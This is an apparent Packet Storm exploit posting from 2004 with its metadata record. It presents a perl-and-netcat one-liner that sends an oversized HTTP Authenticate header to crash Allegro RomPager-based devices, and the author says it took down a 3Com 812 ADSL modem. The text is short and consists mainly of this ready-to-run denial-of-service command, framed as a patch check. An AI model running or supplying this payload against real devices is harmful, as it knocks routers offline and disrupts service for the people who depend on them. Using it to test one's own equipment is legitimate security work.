ID PACKETSTORM:33399 Type packetstorm Reporter Seth Alan Woolley Modified 2004-05-24T00:00:00
Description
`The description made it easy to create this one. Needed this to confirm
if some 2.10-branded products were in fact patched and warranted
replacing. Considering there was four years of warning and there are
still tons of boxes with this problem, please, people, get your systems
pen-tested.
http://www.securityfocus.com/bid/1290/discussion/
http://www.securityfocus.com/bid/1290/exploit/ (none yet)
http://www.allegrosoft.com/rpproduct.html
$ ip_address="some.ip.add.ress"
$ ping $ip_address # works
the one-liner:
$ perl -e 'print "GET / HTTP/1.1\r\nHost: '"$ip_address"'\r\nAuthenticate: " . 'A' x 1024 . "\r\n\r\n"' | nc "$ip_address" 80
$ ping $ip_address # doesn't work
Tested against a 3com 812 adsl modem.
This email is in the Public Domain.
--
Seth Alan Woolley [seth at positivism.org], SPAM/UCE is unauthorized
Key id EF10E21A = 36AD 8A92 8499 8439 E6A8 3724 D437 AF5D EF10 E21A
http://smgl.positivism.org:11371/pks/lookup?op=get&search=0xEF10E21A
Security Team Leader Source Mage GNU/Linux http://www.sourcemage.org
`
{"hash": "d9d1811b47fc9101f9daae7f068fe278f7a18754317fa222c5d94ceffdf6c46b", "edition": 1, "references": [], "objectVersion": "1.2", "viewCount": 0, "type": "packetstorm", "description": "", "bulletinFamily": "exploit", "href": "https://packetstormsecurity.com/files/33399/allegrodos.txt.html", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "d4be9c4fc84262b4f39f89565918568f"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "92ff1b615ae0170dedcad9dc9d6c45a5"}, {"key": "modified", "hash": "4720f90bd3f503d74eceeef13f967286"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "4720f90bd3f503d74eceeef13f967286"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "b93877ce76fc7ce19d681bca60c782b4"}, {"key": "sourceData", "hash": "9ef594234787f6574646fcc07c879ef0"}, {"key": "sourceHref", "hash": "7dd18ba76c923993e455183351441efd"}, {"key": "title", "hash": "84b658618d833b80dfa2415897fb51c2"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "published": "2004-05-24T00:00:00", "modified": "2004-05-24T00:00:00", "title": "allegrodos.txt", "cvelist": [], "sourceHref": "https://packetstormsecurity.com/files/download/33399/allegrodos.txt", "history": [], "reporter": "Seth Alan Woolley", "lastseen": "2016-11-03T10:26:44", "cvss": {"vector": "NONE", "score": 0.0}, "enchantments": {"score": {"value": 5.0, "vector": "NONE"}, "dependencies": {"references": [], "modified": "2016-11-03T10:26:44"}, "vulnersScore": 5.0}, "sourceData": "`The description made it easy to create this one. Needed this to confirm \nif some 2.10-branded products were in fact patched and warranted \nreplacing. Considering there was four years of warning and there are \nstill tons of boxes with this problem, please, people, get your systems \npen-tested. \n \nhttp://www.securityfocus.com/bid/1290/discussion/ \nhttp://www.securityfocus.com/bid/1290/exploit/ (none yet) \nhttp://www.allegrosoft.com/rpproduct.html \n \n$ ip_address=\"some.ip.add.ress\" \n$ ping $ip_address # works \n \nthe one-liner: \n$ perl -e 'print \"GET / HTTP/1.1\\r\\nHost: '\"$ip_address\"'\\r\\nAuthenticate: \" . 'A' x 1024 . \"\\r\\n\\r\\n\"' | nc \"$ip_address\" 80 \n \n$ ping $ip_address # doesn't work \n \nTested against a 3com 812 adsl modem. \n \nThis email is in the Public Domain. \n \n-- \nSeth Alan Woolley [seth at positivism.org], SPAM/UCE is unauthorized \nKey id EF10E21A = 36AD 8A92 8499 8439 E6A8 3724 D437 AF5D EF10 E21A \nhttp://smgl.positivism.org:11371/pks/lookup?op=get&search=0xEF10E21A \nSecurity Team Leader Source Mage GNU/Linux http://www.sourcemage.org \n \n`\n", "id": "PACKETSTORM:33399"}
